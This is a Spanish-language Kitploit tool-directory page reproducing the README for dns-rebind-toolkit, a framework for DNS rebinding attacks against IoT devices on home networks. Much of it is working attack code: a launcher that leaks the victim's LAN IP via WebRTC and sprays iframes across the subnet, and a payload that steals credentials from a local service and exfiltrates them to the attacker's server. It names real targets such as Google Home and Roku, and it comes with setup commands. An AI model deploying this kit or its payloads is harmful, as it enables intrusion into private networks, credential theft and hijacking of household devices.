Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
dns-rebind-toolkit — Un kit de herramientas JavaScript de front-end para crear ataques de rebinding DNS. | Kitploit
Herramientas/GitHubGitHub/brannondorsey/dns-rebind-toolkit
ReconocimientoSeguridad IoTExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y EducaciónRed TeamingAnálisis de DNS
GitHubbrannondorsey/dns-rebind-toolkit

dns-rebind-toolkit

Un kit de herramientas JavaScript de front-end para crear ataques de rebinding DNS.

50284hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver RepositorioSitio web

DNS Rebind Toolkit

Demo | Aviso de seguridad | Payloads incluidos | Preguntas frecuentes

DESCARGO DE RESPONSABILIDAD: Este software es solo con fines educativos. Este software no debe utilizarse para actividades ilegales. El autor no es responsable de su uso. No seas un imbécil.

DNS Rebind Toolkit es un framework de JavaScript de frontend para desarrollar exploits de DNS Rebinding contra hosts y servicios vulnerables en una red de área local (LAN). Se puede utilizar para atacar dispositivos como Google Home, Roku, altavoces WiFi Sonos, routers WiFi, termostatos "inteligentes" y otros dispositivos IoT. Con este kit, un atacante remoto puede evadir el firewall de un router e interactuar directamente con los dispositivos en la red doméstica de la víctima, exfiltrando información privada y, en algunos casos, incluso controlando los propios dispositivos vulnerables.

El ataque requiere que una víctima en la red objetivo simplemente siga un enlace, o que se le muestre un anuncio HTML que contenga un iframe malicioso. A partir de ahí, el navegador web de la víctima se utiliza como un proxy para acceder directamente a otros hosts conectados a su red doméstica. Estas máquinas y servicios objetivo no estarían disponibles para el atacante desde Internet de otro modo. El atacante remoto puede no saber qué servicios son, ni qué direcciones IP ocupan en la red de la víctima, pero DNS Rebind Toolkit se encarga de ello probando por fuerza bruta cientos de direcciones IP probables.

Internamente, esta herramienta utiliza un servidor DNS whonow público que se ejecuta en rebind.network:53 para llevar a cabo el ataque de DNS rebinding y engañar al navegador web de la víctima para que viole la política del mismo origen. A partir de ahí, utiliza WebRTC para filtrar la dirección IP privada de la víctima, por ejemplo, 192.168.1.36. Usa los primeros tres octetos de esta dirección IP local para adivinar la subred de la red y luego inyecta 256 iframes, desde 192.168.1.0-255, entregando un payload a cada host que pudiera estar en la subred.

Este kit puede utilizarse para desarrollar e implementar tus propios ataques de DNS rebinding. Varios payloads de ataques del mundo real se incluyen con este kit en el directorio payloads/. Estos payloads incluyen ataques de exfiltración de información (y travesuras de rickroll) contra algunos dispositivos IoT populares, incluidos los productos Google Home y Roku.

Este kit es el producto de una investigación de seguridad independiente sobre ataques de DNS Rebinding. Puedes leer acerca de esa investigación original aquí.

Primeros pasos

root@kitploit:~
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit

# install dependencies
npm install

# run the server using root to provide access to privileged port 80 
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server

Por defecto, server.js sirve payloads dirigidos a Google Home, Roku, altavoces Sonos, bombillas Phillips Hue y dispositivos Radio Thermostat, que ejecutan sus servicios en los puertos 8008, 8060, 1400, 80 y 80, respectivamente. Si tienes uno de estos dispositivos en tu red doméstica, navega a http://rebind.network para llevarte una agradable sorpresa ;). Abre la consola de desarrollador y observa cómo estos servicios son explotados de forma inofensiva, haciendo que se roben datos de ellos y se exfiltren a server.js.

API y uso

Este kit proporciona dos objetos de JavaScript que pueden usarse juntos para crear ataques de DNS rebinding:

  • DNSRebindAttack: Este objeto se utiliza para lanzar un ataque contra un servicio vulnerable que se ejecuta en un puerto conocido. Genera un payload por cada dirección IP que elijas como objetivo. Los objetos DNSRebindAttack se utilizan para crear, gestionar y comunicarse con múltiples objetos DNSRebindNode. Cada payload lanzado por DNSRebindAttack debe contener un objeto DNSRebindNode.
  • DNSRebindNode: Este objeto de clase estática debe incluirse en cada archivo de payload HTML. Se utiliza para atacar un servicio que se ejecuta en un solo host. Puede comunicarse con el objeto DNSRebindAttack que lo generó y tiene funciones auxiliares para ejecutar el ataque de DNS rebinding (usando DNSRebindNode.rebind(...)) así como para exfiltrar a server.js los datos descubiertos durante el ataque (DNSRebindNode.exfiltrate(...)).

Estos dos scripts se usan juntos para ejecutar un ataque contra hosts desconocidos en una LAN protegida por firewall. Un ataque básico funciona así:

  1. El atacante envía a la víctima un enlace a una página HTML maliciosa que lanza el ataque: p. ej. http://example.com/launcher.html. launcher.html contiene una instancia de DNSRebindAttack.
  2. La víctima sigue el enlace del atacante, o visita una página donde http://example.com/launcher.html está incrustada como un iframe. Esto hace que el DNSRebindAttack en launcher.html comience el ataque.
  3. DNSRebindAttack utiliza una fuga de WebRTC para descubrir la dirección IP local de la máquina de la víctima (p. ej. 192.168.10.84). El atacante usa esta información para elegir un rango de direcciones IP objetivo en la LAN de la víctima (p. ej. 192.168.10.0-255).
  4. launcher.html lanza el ataque de DNS rebinding (usando DNSRebindAttack.attack(...)) contra un rango de direcciones IP en la subred de la víctima, atacando un único servicio (p. ej. la disponible en el puerto ).

Nota: si un usuario tiene un dispositivo Google Home en su red con una dirección IP desconocida y se lanza un ataque contra toda la subred 192.168.1.0/24, entonces el ataque de rebind de un DNSRebindNode tendrá éxito y 254 fallarán.

Ejemplos

Un ataque consta de tres scripts y archivos coordinados:

  • Un archivo HTML que contiene una instancia de DNSRebindAttack (p. ej. launcher.html)
  • Un archivo HTML que contiene el payload del ataque (p. ej. payload.html). DNSRebindAttack incrusta este archivo en launcher.html para cada dirección IP objetivo.
  • Un servidor DNS Rebinding Toolkit (server.js) para entregar los archivos anteriores y exfiltrar datos si es necesario.

launcher.html

Aquí tienes un ejemplo de archivo lanzador HTML. Puedes encontrar el documento completo en examples/launcher.html.

root@kitploit:~
<!DOCTYPE html>
<head>
	<title>Example launcher</title>
</head>
<body>
    <!-- This script is a depency of DNSRebindAttack.js and must be included -->
    <script type="text/javascript" src="/share/js/EventEmitter.js"></script>
    <!-- Include the DNS Rebind Attack object -->
    <script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
    <script type="text/javascript">

    // DNSRebindAttack has a static method that uses WebRTC to leak the
    // browser's IP address on the LAN. We'll use this to guess the LAN's IP
    // subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
    // targetting all IP addresses from 192.168.1.1-255
    DNSRebindAttack.getLocalIPAddress()
    .then(ip => launchRebindAttack(ip))
    .catch(err => {
        console.error(err)
        // Looks like our nifty WebRTC leak trick didn't work (doesn't work
        // in some browsers). No biggie, most home networks are 192.168.1.1/24
        launchRebindAttack('192.168.1.1')
    })
    
    function launchRebindAttack(localIp) {
        
        // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
        const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
        const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
        
        // The first argument is the domain name of a publicly accessible
        // whonow server (https://github.com/brannondorsey/whonow).
        // I've got one running on port 53 of rebind.network you can to use.
        // The services you are attacking might not be running on port 80 so 
        // you will probably want to change that too.
        const rebind = new DNSRebindAttack('rebind.network', 80)

        // Launch a DNS Rebind attack, spawning 255 iframes attacking the service
        // on each host of the subnet (or so we hope).
        // Arguments are:
        //  1) target ip addresses
        //  2) IP address your Node server.js is running on. Usually 127.0.0.1
        //     during dev, but then the publicly accessible IP (not hostname)
        //     of the VPS hosting this repo in production.
        //  3) the HTML payload to deliver to this service. This HTML file should
        //     have a DNSRebindNode instance implemented on in it.
        //  4) the interval in milliseconds to wait between each new iframe
        //     embed. Spawning 100 iframes at the same time can choke (or crash)
        //     a browser. The higher this value, the longer the attack takes,
        //     but the less resources it consumes.
        rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
        
        // rebind.nodes is also an EventEmitter, only this one is fired using
        // DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
        // iframes to post messages back to the parent DNSRebindAttack that
        // launched them. You can define custome events by simply emitting
        // DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
        // can receive it. That said, there are a few standard event names that
        // get triggered automagically:
        //  - begin: triggered when DNSRebindNode.js is loaded. This signifies
        //    that an attack has been launched (or at least, it's payload was
        //    delivered) against an IP address.
        //  - rebind: the DNS rebind was successful, this node should now be
        //    communicating with the target service.
        //  - exfiltrate: send JSON data back to your Node server.js and save
        //    it inside the data/ folder.
        // Additionally, the DNSRebindNode.destroy() static method
        // will trigger the 'destory' event and cause DNSRebindAttack to
        // remove the iframe.

        rebind.nodes.on('begin', (ip) => {
            // the DNSRebindNode has been loaded, attacking ip
        })

        rebind.nodes.on('rebind', (ip) => {
            // the rebind was successful
            console.log('node rebind', ip)
        })

        rebind.nodes.on('exfiltrate', (ip, data) => {
            // JSON data was exfiltrated and saved to the data/
            // folder on the remote machine hosting server.js
            
            console.log('node exfiltrate', ip, data)
            
            // data = {
            //     "username": "crashOverride",
            //     "password": "hacktheplanet!",
            // }
        })
    }
    </script>
</body>
</html>

payload.html

Aquí tienes un ejemplo de archivo de payload HTML. Puedes encontrar el documento completo en examples/payload.html.

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">

    attack()
    .then(() => {},
          err => {
              // there was an error at some point during the attack
              console.error(err)
              DNSRebindNode.emit('fatal', err.message)
          }
    ) // remove this iframe by calling destroy()
    .then(() => DNSRebindNode.destroy())

    // launches the attack and returns a promise that is resolved if the target
    // service is found and correctly exploited, or more likely, rejected because
    // this host doesn't exist, the target service isn't running, or something
    // went wrong with the exploit. Remember that this attack is being launched
    // against 255+ IP addresses, so most of them won't succeed.
    async function attack() {

        // DNSRebindNode has some default fetch options that specify things
        // like no caching, etc. You can re-use them for convenience, or ignore
        // them and create your own options object for each fetch() request.
        // Here are their default values:
        // {
        //     method: "GET",
        //     headers: {
        //         // this doesn't work in all browsers. For instance,
        //         // Firefox doesn't let you do this.
        //         "Origin": "", // unset the origin header
        //         "Pragma": "no-cache",
        //         "Cache-Control": "no-cache"
        //     },
        //     cache: "no-cache"
        // }
        const getOptions = DNSRebindNode.fetchOptions()

        try {
            // In this example, we'll pretend we are attacking some service with
            // an /auth.json file with username/password sitting in plaintext.
            // Before we swipe those creds, we need to first perform the rebind
            // attack. Most likely, our webserver will cache the DNS results
            // for this page's host. DNSRebindNode.rebind(...) recursively
            // re-attempts to rebind the host with a new, target IP address.
            // This can take over a minute, and if it is unsuccessful the
            // promise is rejected.
            const opts = {
                // these options get passed to the DNS rebind fetch request
                fetchOptions: getOptions,
                // by default, DNSRebindNode.rebind() is considered successful
                // if it receives an HTTP 200 OK response from the target service.
                // However, you can define any kind of "rebind success" scenario
                // yourself with the successPredicate(...) function. This
                // function receives a fetch result as a parameter and the return
                // value determines if the rebind was successful (i.e. you are
                // communicating with the target server). Here we check to see
                // if the fetchResult was sent by our example vulnerable server. 
                successPredicate: (fetchResult) => {
                    return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
                }
            }
            // await the rebind. Can take up to over a minute depending on the 
            // victim's DNS cache settings or if there is no host listening on
            // the other side.
            await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
        } catch (err) {
            // whoops, the rebind failed. Either the browser's DNS cache was
            // never cleared, or more likely, this service isn't running on the
            // target host. Oh well... Bubble up the rejection and have our
            // attack()'s rejection handler deal w/ it.
            return Promise.reject(err)
        }

        try {
            // alrighty, now that we've rebound the host and are communicating
            // with the target service, let's grab the credentials
            const creds = await fetch(`http://${location.host}/auth.json`)
                                .then(res => res.json())

             // {
             //     "username": "crashOverride",
             //     "password": "hacktheplanet!",
             // }
            // console.log(creds)

            // great, now let's exfiltrate those creds to the Node.js server
            // running this whole shebang. That's the last thing we care about,
            // so we will just return this promise as the result of attack()
            // and let its handler's deal with it.
            //
            // NOTE: the second argument to exfiltrate(...) must be JSON
            // serializable.
            return DNSRebindNode.exfiltrate('auth-example', creds)

        } catch (err) {
            return Promise.reject(err)
        }
    }
</script>
</body>
</html>

server.js

Este script se utiliza para entregar los archivos launcher.html y payload.html, así como para recibir y guardar los datos exfiltrados desde DNSRebindNode en la carpeta data/. Para desarrollo, normalmente ejecuto este servidor en localhost y apunto DNSRebindAttack.attack(...) hacia 127.0.0.1. Para producción, ejecuto el servidor en una VPS en la nube y apunto DNSRebindAttack.attack(...) a su dirección IP pública.

root@kitploit:~
# run with admin privileged so that it can open port 80.
sudo node server
root@kitploit:~
usage: server [-h] [-v] [-p PORT]

DNS Rebind Toolkit server

Optional arguments:
  -h, --help            Show this help message and exit.
  -v, --version         Show program's version number and exit.
  -p PORT, --port PORT  Which ports to bind the servers on. May include 
                        multiple like: --port 80 --port 1337 (default: -p 80 
                        -p 8008 -p 8060 -p 1337)

Más ejemplos

He incluido un servidor vulnerable de ejemplo en examples/vulnerable-server.js. Este servicio vulnerable DEBE ejecutarse desde otra máquina de tu red, ya que su puerto DEBE coincidir con el mismo puerto que server.js. Para ejecutar este ataque de ejemplo tú mismo, haz lo siguiente:

Computadora secundaria

root@kitploit:~
# clone the repo 
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit

# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000

Computadora principal

root@kitploit:~
node server --port 3000

Ahora, navega con tu navegador a http://localhost:3000/launcher.html y abre una consola de desarrollador. Espera un minuto o dos; si el ataque funcionó, deberías ver algunas credenciales volcadas desde el servidor vulnerable que se ejecuta en la computadora secundaria.

Echa un vistazo a los directorios examples/ y payloads/ para más ejemplos.

Archivos y directorios

  • server.js: El servidor de DNS Rebind Toolkit
  • payloads/: Varios archivos de payload HTML creados a mano para atacar algunos dispositivos IoT vulnerables. Incluye ataques contra Google Home, Roku y Radio Thermostat por ahora. Me encantaría ver más payloads añadidos a este repo en el futuro (¡PRs bienvenidas!)
  • examples/: Archivos de ejemplo de uso.
  • data/: Directorio donde se guardan los datos exfiltrados por DNSRebindNode.exfiltrate(...).
  • share/: Directorio de archivos JavaScript compartidos por múltiples archivos HTML en examples/ y payload/.

Este kit fue desarrollado para ser una herramienta útil para investigadores y probadores de penetración. Si quieres ver parte de la investigación que condujo a su creación, echa un vistazo a esta publicación. Si escribes un payload para otro servicio, considera hacer un PR a este repositorio para que otros puedan beneficiarse de tu trabajo!

Descargar herramienta
API REST no documentada de Google Home
8008
  • En un intervalo definido por el usuario (200 milisegundos por defecto), DNSRebindAttack incrusta un iframe que contiene payload.html en la página launcher.html. Cada iframe contiene un objeto DNSRebindNode que ejecuta un ataque contra el puerto 8008 de un único host definido en el rango de direcciones IP atacadas. Este proceso de inyección continúa hasta que se haya inyectado un iframe para cada dirección IP objetivo del ataque.
  • Cada archivo payload.html inyectado usa DNSRebindNode para intentar un ataque de rebind comunicándose con un servidor DNS whonow. Si tiene éxito, se viola la política del mismo origen y payload.html puede comunicarse directamente con el producto Google Home. Normalmente, payload.html estará escrito de tal manera que realice unas pocas llamadas API al dispositivo objetivo y exfiltre los resultados a server.js que se ejecuta en example.com antes de finalizar el ataque y autodestruirse.